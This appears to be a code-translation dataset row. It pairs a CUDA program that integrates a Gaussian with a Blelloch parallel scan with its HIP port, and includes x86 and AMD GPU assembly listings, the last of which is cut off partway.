movq %r13, %rdi
call cudaMemcpy@PLT
testl %eax, %eax
jne .L61
movl $1024, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1024, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 28(%rsp), %rdx
movl $1, %ecx
movq 16(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
je .L62
.L45:
movl $20, %ebx
movl $1048576, %r14d
jmp .L47
.L61:
movl $166, %ecx
leaq .LC5(%rip), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $1, %eax
jmp .L35
.L62:
movl $1048576, %esi
movq 8(%rsp), %rdi
call _Z29__device_stub__Z9kill_lastPfiPfi
jmp .L45
.L46:
movl %r14d, %eax
shrl $31, %eax
addl %r14d, %eax
sarl %eax
movl %eax, %r14d
subl $1, %ebx
je .L63
.L47:
movl $1024, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1024, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 28(%rsp), %rdx
movl $1, %ecx
movq 16(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
jne .L46
movl %r14d, %edx
movl $1048576, %esi
movq 8(%rsp), %rdi
call _Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii
jmp .L46
.L63:
movl $2, %ecx
movl $4194304, %edx
movq 8(%rsp), %rsi
movq %r12, %rdi
call cudaMemcpy@PLT
testl %eax, %eax
jne .L64
movd %ebp, %xmm0
addss .LC7(%rip), %xmm0
mulss .LC8(%rip), %xmm0
mulss 4194300(%r12), %xmm0
cvtss2sd %xmm0, %xmm0
leaq .LC9(%rip), %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
movq %r13, %rdi
call free@PLT
movq %r12, %rdi
call free@PLT
movq 8(%rsp), %rdi
call cudaFree@PLT
movl %eax, %edx
movl $0, %eax
testl %edx, %edx
je .L35
movl $207, %ecx
leaq .LC5(%rip), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
call __printf_chk@PLT
movl $1, %eax
jmp .L35
.L64:
movl $177, %ecx
leaq .LC5(%rip), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $1, %eax
jmp .L35
.L59:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2057:
.size main, .-main
.section .rodata.str1.8
.align 8
.LC10:
.string "_Z23blelloch_downsweep_stepPfii"
.section .rodata.str1.1
.LC11:
.string "_Z9kill_lastPfi"
.LC12:
.string "_Z20blelloch_reduce_stepPfii"
.LC13:
.string "_Z16prepare_functionPfiff"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2091:
.cfi_startproc
endbr64
pushq %rbx
.cfi_def_cfa_offset 16
.cfi_offset 3, -16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rbx
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC10(%rip), %rdx
movq %rdx, %rcx
leaq _Z23blelloch_downsweep_stepPfii(%rip), %rsi
movq %rax, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC11(%rip), %rdx
movq %rdx, %rcx
leaq _Z9kill_lastPfi(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC12(%rip), %rdx
movq %rdx, %rcx
leaq _Z20blelloch_reduce_stepPfii(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC13(%rip), %rdx
movq %rdx, %rcx
leaq _Z16prepare_functionPfiff(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
popq %rbx
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2091:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.section .rodata.cst4,"aM",@progbits,4
.align 4
.LC2:
.long -1056964608
.align 4
.LC7:
.long 1090519040
.align 4
.LC8:
.long 897581056
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include <stdio.h>
#include <stdlib.h>
#include <cuda.h>
#include <math.h>
// #include <stdexcept>
#define CUDA_CALL(x) do { if((x)!=cudaSuccess) { \
printf("Error at %s:%d\n",__FILE__,__LINE__);\
return EXIT_FAILURE;}} while(0)
__global__ void prepare_function(float * d_out, int n_points,
float x_min, float x_max)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
float x = x_min + (x_max - x_min) * id / n_points;
d_out[id] = exp(-pow(x, 2));
// d_out[id] = (float) id;
}
// __global__ void blelloch_reduce(float * d_in, int n_points)
// {
// /* Assuming n_points is a power of two */
// int n_current = 2;
// int id = threadIdx.x + blockIdx.x * blockDim.x;
//
// while(n_current <= n_points)
// {
// if ((id + 1) % n_current == 0)
// {
// d_in[id] += d_in[id - n_current/2];
// }
// __syncthreads();
// n_current = n_current * 2;
// }
//
// }
__global__ void blelloch_reduce_step(float * d_in, int n_points, int stride_step)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
if ((id + 1) % stride_step == 0)
{
d_in[id] += d_in[id - stride_step/2];
}
}
__global__ void kill_last(float * d_in, int n_points)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
if (id == n_points - 1)
{
d_in[id] = 0;
}
}
/*
__global__ void blelloch_downsweep(float * d_in, int n_points)
{
int n_current = n_points;
int id = threadIdx.x + blockIdx.x * blockDim.x;
float tmp;
if (id == n_points - 1)
{
d_in[id] = 0;
}
__syncthreads();
while(n_current >= 2)
{
if ((id + 1) % n_current == 0)
{
tmp = d_in[id];
d_in[id] += d_in[id - n_current/2];
d_in[id - n_current/2] = tmp;
}
n_current = n_current / 2;
__syncthreads();
}
}*/
__global__ void blelloch_downsweep_step(float * d_in, int n_points, int stride_step)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
float tmp;
if ((id + 1) % stride_step == 0)
{
tmp = d_in[id];
d_in[id] += d_in[id - stride_step/2];
d_in[id - stride_step/2] = tmp;
}
// __syncthreads();
}
int main(int argc, char* argv[])
{
float minus_infty = -8;
float x_max = 0;
int n_blocks = 1024;
int n_points_per_block = 1024;
int n_points = n_points_per_block * n_blocks;
int stride_step;
float dx;
float *devFunVals;
float *hostFunVals;
float *hostFunVals2;
if (argc > 1)
{
sscanf(argv[1], "%f", &x_max);
// printf("%f\n", x_max);
if (x_max < minus_infty)
{
printf("0\n");
return 0;
}
}
else
{
printf("Usage: ./scan <number> \n");
return 0;
}
dx = (x_max - minus_infty) / (float) n_points;
// printf("dx: %e\n", dx);
// printf("n_points: %d\n", n_points);
//
if (n_points < 0 || ((n_points & (n_points - 1)) != 0))
{
printf("n_points is not a power of two\n");
return 1;
}
hostFunVals = (float *)calloc(n_points, sizeof(float));
hostFunVals2 = (float *)calloc(n_points, sizeof(float));
CUDA_CALL(cudaMalloc((void **)&devFunVals, n_points*sizeof(float)));
prepare_function<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, minus_infty, x_max);
// blelloch_reduce<<<n_blocks, n_points_per_block>>>(devFunVals, n_points);
stride_step = 2;
while(stride_step <= n_points)
{
blelloch_reduce_step<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, stride_step);
stride_step = stride_step * 2;
}
stride_step = n_points;
CUDA_CALL(cudaMemcpy(hostFunVals, devFunVals, n_points*sizeof(float), cudaMemcpyDeviceToHost));
kill_last<<<n_blocks, n_points_per_block>>>(devFunVals, n_points);
while(stride_step >= 2)
{
blelloch_downsweep_step<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, stride_step);
stride_step = stride_step / 2;
}
CUDA_CALL(cudaMemcpy(hostFunVals2, devFunVals, n_points*sizeof(float), cudaMemcpyDeviceToHost));
// for(int i=0; i<n_points; i++)
// {
// printf("%1.4f \n", hostFunVals[i]);
// }
// printf("=========\n");
//
// for(int i=0; i<n_points; i++)
// {
// printf("%1.4f \n", hostFunVals2[i]);
// }
// printf("\n");
// printf("Func value: %1.5f\n", hostFunVals[n_points - 1]);
printf("Integral value: %1.5e\n", hostFunVals2[n_points - 1] * dx);
free(hostFunVals);
free(hostFunVals2);
CUDA_CALL(cudaFree(devFunVals));
return 0;
} | #include <stdio.h>
#include <stdlib.h>
#include <hip/hip_runtime.h>
#include <math.h>
// #include <stdexcept>
#define CUDA_CALL(x) do { if((x)!=hipSuccess) { \
printf("Error at %s:%d\n",__FILE__,__LINE__);\
return EXIT_FAILURE;}} while(0)
__global__ void prepare_function(float * d_out, int n_points,
float x_min, float x_max)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
float x = x_min + (x_max - x_min) * id / n_points;
d_out[id] = exp(-pow(x, 2));
// d_out[id] = (float) id;
}
// __global__ void blelloch_reduce(float * d_in, int n_points)
// {
// /* Assuming n_points is a power of two */
// int n_current = 2;
// int id = threadIdx.x + blockIdx.x * blockDim.x;
//
// while(n_current <= n_points)
// {
// if ((id + 1) % n_current == 0)
// {
// d_in[id] += d_in[id - n_current/2];
// }
// __syncthreads();
// n_current = n_current * 2;
// }
//
// }
__global__ void blelloch_reduce_step(float * d_in, int n_points, int stride_step)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
if ((id + 1) % stride_step == 0)
{
d_in[id] += d_in[id - stride_step/2];
}
}
__global__ void kill_last(float * d_in, int n_points)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
if (id == n_points - 1)
{
d_in[id] = 0;
}
}
/*
__global__ void blelloch_downsweep(float * d_in, int n_points)
{
int n_current = n_points;
int id = threadIdx.x + blockIdx.x * blockDim.x;
float tmp;
if (id == n_points - 1)
{
d_in[id] = 0;
}
__syncthreads();
while(n_current >= 2)
{
if ((id + 1) % n_current == 0)
{
tmp = d_in[id];
d_in[id] += d_in[id - n_current/2];
d_in[id - n_current/2] = tmp;
}
n_current = n_current / 2;
__syncthreads();
}
}*/
__global__ void blelloch_downsweep_step(float * d_in, int n_points, int stride_step)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
float tmp;
if ((id + 1) % stride_step == 0)
{
tmp = d_in[id];
d_in[id] += d_in[id - stride_step/2];
d_in[id - stride_step/2] = tmp;
}
// __syncthreads();
}
int main(int argc, char* argv[])
{
float minus_infty = -8;
float x_max = 0;
int n_blocks = 1024;
int n_points_per_block = 1024;
int n_points = n_points_per_block * n_blocks;
int stride_step;
float dx;
float *devFunVals;
float *hostFunVals;
float *hostFunVals2;
if (argc > 1)
{
sscanf(argv[1], "%f", &x_max);
// printf("%f\n", x_max);
if (x_max < minus_infty)
{
printf("0\n");
return 0;
}
}
else
{
printf("Usage: ./scan <number> \n");
return 0;
}
dx = (x_max - minus_infty) / (float) n_points;
// printf("dx: %e\n", dx);
// printf("n_points: %d\n", n_points);
//
if (n_points < 0 || ((n_points & (n_points - 1)) != 0))
{
printf("n_points is not a power of two\n");
return 1;
}
hostFunVals = (float *)calloc(n_points, sizeof(float));
hostFunVals2 = (float *)calloc(n_points, sizeof(float));
CUDA_CALL(hipMalloc((void **)&devFunVals, n_points*sizeof(float)));
prepare_function<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, minus_infty, x_max);
// blelloch_reduce<<<n_blocks, n_points_per_block>>>(devFunVals, n_points);
stride_step = 2;
while(stride_step <= n_points)
{
blelloch_reduce_step<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, stride_step);
stride_step = stride_step * 2;
}
stride_step = n_points;
CUDA_CALL(hipMemcpy(hostFunVals, devFunVals, n_points*sizeof(float), hipMemcpyDeviceToHost));
kill_last<<<n_blocks, n_points_per_block>>>(devFunVals, n_points);
while(stride_step >= 2)
{
blelloch_downsweep_step<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, stride_step);
stride_step = stride_step / 2;
}
CUDA_CALL(hipMemcpy(hostFunVals2, devFunVals, n_points*sizeof(float), hipMemcpyDeviceToHost));
// for(int i=0; i<n_points; i++)
// {
// printf("%1.4f \n", hostFunVals[i]);
// }
// printf("=========\n");
//
// for(int i=0; i<n_points; i++)
// {
// printf("%1.4f \n", hostFunVals2[i]);
// }
// printf("\n");
// printf("Func value: %1.5f\n", hostFunVals[n_points - 1]);
printf("Integral value: %1.5e\n", hostFunVals2[n_points - 1] * dx);
free(hostFunVals);
free(hostFunVals2);
CUDA_CALL(hipFree(devFunVals));
return 0;
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <stdio.h>
#include <stdlib.h>
#include <hip/hip_runtime.h>
#include <math.h>
// #include <stdexcept>
#define CUDA_CALL(x) do { if((x)!=hipSuccess) { \
printf("Error at %s:%d\n",__FILE__,__LINE__);\
return EXIT_FAILURE;}} while(0)
__global__ void prepare_function(float * d_out, int n_points,
float x_min, float x_max)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
float x = x_min + (x_max - x_min) * id / n_points;
d_out[id] = exp(-pow(x, 2));
// d_out[id] = (float) id;
}
// __global__ void blelloch_reduce(float * d_in, int n_points)
// {
// /* Assuming n_points is a power of two */
// int n_current = 2;
// int id = threadIdx.x + blockIdx.x * blockDim.x;
//
// while(n_current <= n_points)
// {
// if ((id + 1) % n_current == 0)
// {
// d_in[id] += d_in[id - n_current/2];
// }
// __syncthreads();
// n_current = n_current * 2;
// }
//
// }
__global__ void blelloch_reduce_step(float * d_in, int n_points, int stride_step)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
if ((id + 1) % stride_step == 0)
{
d_in[id] += d_in[id - stride_step/2];
}
}
__global__ void kill_last(float * d_in, int n_points)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
if (id == n_points - 1)
{
d_in[id] = 0;
}
}
/*
__global__ void blelloch_downsweep(float * d_in, int n_points)
{
int n_current = n_points;
int id = threadIdx.x + blockIdx.x * blockDim.x;
float tmp;
if (id == n_points - 1)
{
d_in[id] = 0;
}
__syncthreads();
while(n_current >= 2)
{
if ((id + 1) % n_current == 0)
{
tmp = d_in[id];
d_in[id] += d_in[id - n_current/2];
d_in[id - n_current/2] = tmp;
}
n_current = n_current / 2;
__syncthreads();
}
}*/
__global__ void blelloch_downsweep_step(float * d_in, int n_points, int stride_step)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
float tmp;
if ((id + 1) % stride_step == 0)
{
tmp = d_in[id];
d_in[id] += d_in[id - stride_step/2];
d_in[id - stride_step/2] = tmp;
}
// __syncthreads();
}
int main(int argc, char* argv[])
{
float minus_infty = -8;
float x_max = 0;
int n_blocks = 1024;
int n_points_per_block = 1024;
int n_points = n_points_per_block * n_blocks;
int stride_step;
float dx;
float *devFunVals;
float *hostFunVals;
float *hostFunVals2;
if (argc > 1)
{
sscanf(argv[1], "%f", &x_max);
// printf("%f\n", x_max);
if (x_max < minus_infty)
{
printf("0\n");
return 0;
}
}
else
{
printf("Usage: ./scan <number> \n");
return 0;
}
dx = (x_max - minus_infty) / (float) n_points;
// printf("dx: %e\n", dx);
// printf("n_points: %d\n", n_points);
//
if (n_points < 0 || ((n_points & (n_points - 1)) != 0))
{
printf("n_points is not a power of two\n");
return 1;
}
hostFunVals = (float *)calloc(n_points, sizeof(float));
hostFunVals2 = (float *)calloc(n_points, sizeof(float));
CUDA_CALL(hipMalloc((void **)&devFunVals, n_points*sizeof(float)));
prepare_function<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, minus_infty, x_max);
// blelloch_reduce<<<n_blocks, n_points_per_block>>>(devFunVals, n_points);
stride_step = 2;
while(stride_step <= n_points)
{
blelloch_reduce_step<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, stride_step);
stride_step = stride_step * 2;
}
stride_step = n_points;
CUDA_CALL(hipMemcpy(hostFunVals, devFunVals, n_points*sizeof(float), hipMemcpyDeviceToHost));
kill_last<<<n_blocks, n_points_per_block>>>(devFunVals, n_points);
while(stride_step >= 2)
{
blelloch_downsweep_step<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, stride_step);
stride_step = stride_step / 2;
}
CUDA_CALL(hipMemcpy(hostFunVals2, devFunVals, n_points*sizeof(float), hipMemcpyDeviceToHost));
// for(int i=0; i<n_points; i++)
// {
// printf("%1.4f \n", hostFunVals[i]);
// }
// printf("=========\n");
//
// for(int i=0; i<n_points; i++)
// {
// printf("%1.4f \n", hostFunVals2[i]);
// }
// printf("\n");
// printf("Func value: %1.5f\n", hostFunVals[n_points - 1]);
printf("Integral value: %1.5e\n", hostFunVals2[n_points - 1] * dx);
free(hostFunVals);
free(hostFunVals2);
CUDA_CALL(hipFree(devFunVals));
return 0;
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z16prepare_functionPfiff
.globl _Z16prepare_functionPfiff
.p2align 8
.type _Z16prepare_functionPfiff,@function
_Z16prepare_functionPfiff:
s_clause 0x2
s_load_b32 s2, s[0:1], 0x24
s_load_b128 s[4:7], s[0:1], 0x0
s_load_b32 s0, s[0:1], 0x10
s_waitcnt lgkmcnt(0)
s_and_b32 s1, s2, 0xffff
v_cvt_f32_i32_e32 v3, s6
v_mad_u64_u32 v[1:2], null, s15, s1, v[0:1]
v_sub_f32_e64 v0, s0, s7
s_mov_b32 s0, 0x3e76c4e1
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cvt_f32_i32_e32 v2, v1
v_mul_f32_e32 v0, v0, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
v_div_scale_f32 v2, null, v3, v3, v0
v_div_scale_f32 v6, vcc_lo, v0, v3, v0
v_rcp_f32_e32 v4, v2
s_waitcnt_depctr 0xfff
v_fma_f32 v5, -v2, v4, 1.0
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_fmac_f32_e32 v4, v5, v4
v_mul_f32_e32 v5, v6, v4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_fma_f32 v7, -v2, v5, v6
v_fmac_f32_e32 v5, v7, v4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_fma_f32 v2, -v2, v5, v6
v_div_fmas_f32 v2, v2, v4, v5
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_div_fixup_f32 v0, v2, v3, v0
v_add_f32_e32 v0, s7, v0
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_frexp_mant_f32_e64 v2, |v0|
v_cmp_gt_f32_e32 vcc_lo, 0x3f2aaaab, v2
v_cndmask_b32_e64 v3, 0, 1, vcc_lo
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ldexp_f32 v2, v2, v3
v_add_f32_e32 v5, -1.0, v2
v_add_f32_e32 v3, 1.0, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_rcp_f32_e32 v4, v3
v_add_f32_e32 v7, -1.0, v3
v_sub_f32_e32 v2, v2, v7
s_waitcnt_depctr 0xfff
v_mul_f32_e32 v6, v5, v4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_f32_e32 v8, v3, v6
v_fma_f32 v3, v6, v3, -v8
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_fmac_f32_e32 v3, v6, v2
v_add_f32_e32 v2, v8, v3
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_sub_f32_e32 v7, v5, v2
v_dual_sub_f32 v5, v5, v7 :: v_dual_sub_f32 v8, v2, v8
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_dual_sub_f32 v2, v5, v2 :: v_dual_sub_f32 v3, v8, v3
v_add_f32_e32 v2, v3, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_f32_e32 v2, v7, v2
v_mul_f32_e32 v2, v4, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_f32_e32 v3, v6, v2
v_sub_f32_e32 v4, v3, v6
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_dual_mul_f32 v5, v3, v3 :: v_dual_sub_f32 v2, v2, v4
v_fma_f32 v4, v3, v3, -v5
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_f32_e32 v6, v2, v2
v_fmac_f32_e32 v4, v3, v6
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_f32_e32 v6, v5, v4
v_fmaak_f32 v7, s0, v6, 0x3e91f4c4
v_sub_f32_e32 v5, v6, v5
v_cmp_neq_f32_e64 s0, 0x7f800000, |v0|
s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_1) | instid1(VALU_DEP_2)
v_dual_fmaak_f32 v7, v6, v7, 0x3ecccdef :: v_dual_sub_f32 v4, v4, v5
v_mul_f32_e32 v10, v3, v6
v_mul_f32_e32 v8, v6, v7
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
v_fma_f32 v11, v6, v3, -v10
v_fma_f32 v5, v6, v7, -v8
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_3)
v_fmac_f32_e32 v5, v4, v7
v_fmac_f32_e32 v11, v6, v2
v_ldexp_f32 v2, v2, 1
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_3)
v_add_f32_e32 v7, v8, v5
v_fmac_f32_e32 v11, v4, v3
v_ldexp_f32 v3, v3, 1
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_1)
v_dual_sub_f32 v8, v7, v8 :: v_dual_add_f32 v9, 0x3f2aaaaa, v7
v_dual_sub_f32 v5, v5, v8 :: v_dual_add_f32 v8, 0xbf2aaaaa, v9
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_f32_e32 v5, 0x31739010, v5
v_sub_f32_e32 v7, v7, v8
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_f32_e32 v5, v5, v7
v_add_f32_e32 v4, v9, v5
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_dual_add_f32 v6, v10, v11 :: v_dual_sub_f32 v7, v9, v4
v_mul_f32_e32 v8, v6, v4
v_sub_f32_e32 v9, v6, v10
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_3)
v_add_f32_e32 v5, v5, v7
v_fma_f32 v7, v6, v4, -v8
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_2)
v_sub_f32_e32 v9, v11, v9
v_fmac_f32_e32 v7, v6, v5
v_frexp_exp_i32_f32_e32 v5, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
v_fmac_f32_e32 v7, v9, v4
v_subrev_co_ci_u32_e32 v4, vcc_lo, 0, v5, vcc_lo
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_f32_e32 v5, v8, v7
v_cvt_f32_i32_e32 v4, v4
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_f32_e32 v6, v3, v5
v_dual_sub_f32 v8, v5, v8 :: v_dual_sub_f32 v3, v6, v3
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_4)
v_sub_f32_e32 v7, v7, v8
v_mul_f32_e32 v9, 0x3f317218, v4
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_3)
v_sub_f32_e32 v3, v5, v3
v_add_f32_e32 v2, v2, v7
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_2)
v_fma_f32 v8, v4, 0x3f317218, -v9
v_add_f32_e32 v2, v2, v3
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_dual_fmamk_f32 v4, v4, 0xb102e308, v8 :: v_dual_add_f32 v5, v6, v2
v_sub_f32_e32 v6, v5, v6
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_dual_sub_f32 v2, v2, v6 :: v_dual_add_f32 v3, v9, v4
v_sub_f32_e32 v9, v3, v9
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_sub_f32_e32 v4, v4, v9
v_dual_add_f32 v6, v4, v2 :: v_dual_add_f32 v7, v3, v5
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_sub_f32_e32 v8, v7, v3
v_sub_f32_e32 v10, v7, v8
v_sub_f32_e32 v5, v5, v8
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_sub_f32_e32 v3, v3, v10
v_add_f32_e32 v3, v5, v3
v_sub_f32_e32 v5, v6, v4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_3)
v_sub_f32_e32 v2, v2, v5
v_add_f32_e32 v3, v6, v3
v_sub_f32_e32 v6, v6, v5
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_3)
v_sub_f32_e32 v4, v4, v6
v_add_f32_e32 v8, v7, v3
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_dual_add_f32 v2, v2, v4 :: v_dual_sub_f32 v5, v8, v7
v_sub_f32_e32 v3, v3, v5
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_f32_e32 v2, v2, v3
v_add_f32_e32 v3, v8, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_3)
v_sub_f32_e32 v4, v3, v8
v_add_f32_e32 v5, v3, v3
v_mul_f32_e32 v6, 0, v3
v_sub_f32_e32 v2, v2, v4
s_delay_alu instid0(VALU_DEP_3) | instskip(SKIP_1) | instid1(VALU_DEP_3)
v_fma_f32 v3, v3, 2.0, -v5
v_cmp_class_f32_e64 vcc_lo, v5, 0x204
v_fmac_f32_e32 v6, 2.0, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_f32_e32 v2, v3, v6
v_add_f32_e32 v3, v5, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cndmask_b32_e32 v4, v3, v5, vcc_lo
v_cmp_eq_f32_e32 vcc_lo, 0x42b17218, v4
v_cndmask_b32_e64 v6, 0, 0x37000000, vcc_lo
v_cmp_neq_f32_e64 vcc_lo, 0x7f800000, |v4|
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_sub_f32_e32 v7, v4, v6
v_mul_f32_e32 v8, 0x3fb8aa3b, v7
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_fma_f32 v9, v7, 0x3fb8aa3b, -v8
v_rndne_f32_e32 v10, v8
